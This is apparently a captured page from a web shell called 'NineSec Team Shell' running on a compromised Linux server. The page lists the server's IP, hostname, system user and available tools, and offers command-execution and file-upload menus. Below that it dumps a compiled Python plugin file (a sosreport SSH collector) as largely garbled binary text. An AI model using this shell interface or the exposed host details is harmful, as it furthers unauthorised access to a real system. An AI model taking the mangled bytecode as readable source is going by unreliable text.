NineSec Team Shell
Server IP : 184.107.3.203  /  Your IP : 216.73.216.51
Web Server : Apache
System : Linux dedicated2.avenfashion.com.ph 4.18.0-553.40.1.el8_10.x86_64 #1 SMP Mon Feb 10 12:11:18 EST 2025 x86_64
User : adminteladeoro ( 1015)
PHP Version : 8.2.28
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/lib/python3.6/site-packages/sos/report/plugins/__pycache__/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //usr/lib/python3.6/site-packages/sos/report/plugins/__pycache__/ssh.cpython-36.pyc
3

~�g��@s>ddlZddlmZddlmZmZmZGdd�dee�ZdS)�N)�glob)�Plugin�IndependentPlugin�	PluginOptc@s@eZdZdZdZdZeddd	d
�gZdd�Zd
d�Z	dd�Z
dS)�SshzSecure shell serviceZssh�services�security�system�identity�	userconfsTz5Changes whether module will collect user .ssh configs)�defaultZdesccCsD|jddd��dddg}|j|�|j|�|jd�r@|j�dS)NZsshd_configZ
ssh_config)z/etc/ssh/sshd_config$z/etc/ssh/ssh_config$z/etc/ssh/ssh_configz/etc/ssh/sshd_configz/etc/ssh/sshd_config.d/*r)Z
add_file_tags�
add_copy_spec�included_configsZ
get_option�user_ssh_files_permissions)�self�sshcfgs�r�/usr/lib/python3.6/ssh.py�setups



z	Ssh.setupcCs�y�dd�dd�|D�D�}x�|D]�}|jd�d}t|j|�ddd��X}xP|D]H}t|j��d	ksN|jd
�rnqN|j�jd�rN|j�}|j|d|d�qNWWd
QRXq WWntk
r�YnXd
S)z Include subconfig files cSsg|]}|D]}|�qqSrr)�.0�files�frrr�
<listcomp>8sz(Ssh.included_configs.<locals>.<listcomp>cSsg|]}t|dd��qS)T)�	recursive)r)rZcopyspecrrrr9s�/��rzUTF-8)�encodingr�#�include)ZtagsN���)�split�open�	path_join�len�
startswith�lowerr
�	Exception)rrZcfgfilesZsshcfg�tagZcfgfile�lineZconfargrrrr3s


(zSsh.included_configsc
Cs�tj�}i}yHtdddd��0}x(|D] }|j�dd�\}}|||<q$WWdQRXWntk
rr|jd�dSXd	d
dh}xR|D]J}|j|kr�||j|kr�|jd|j�d
��q�|j|jd�}	|j	|	�q�WdS)z�
        Iterate over .ssh folders in user homes to see their permissions.

        Bad permissions can prevent SSH from allowing access to given user.
        z/proc/mountsrzUTF-8)rr�NzCouldn't read /proc/mountsZnfsZnfs4ZautofszSkipping capture in z  because it's a remote directoryz.ssh)
�pwdZgetpwallr"r!r'Z
_log_error�pw_dirZ	_log_infor#Zadd_dir_listing)
rZ
users_dataZ
fs_mount_infoZmounts_filer)Zfs_fileZ	fs_vstypeZnon_local_fs�userZhome_dirrrrrKs&




zSsh.user_ssh_files_permissionsN)rrr	r
)�__name__�
__module__�__qualname__Z
short_descZplugin_nameZprofilesrZoption_listrrrrrrrrs
r)r+rZsos.report.pluginsrrrrrrrr�<module>s

NineSec Team - 2022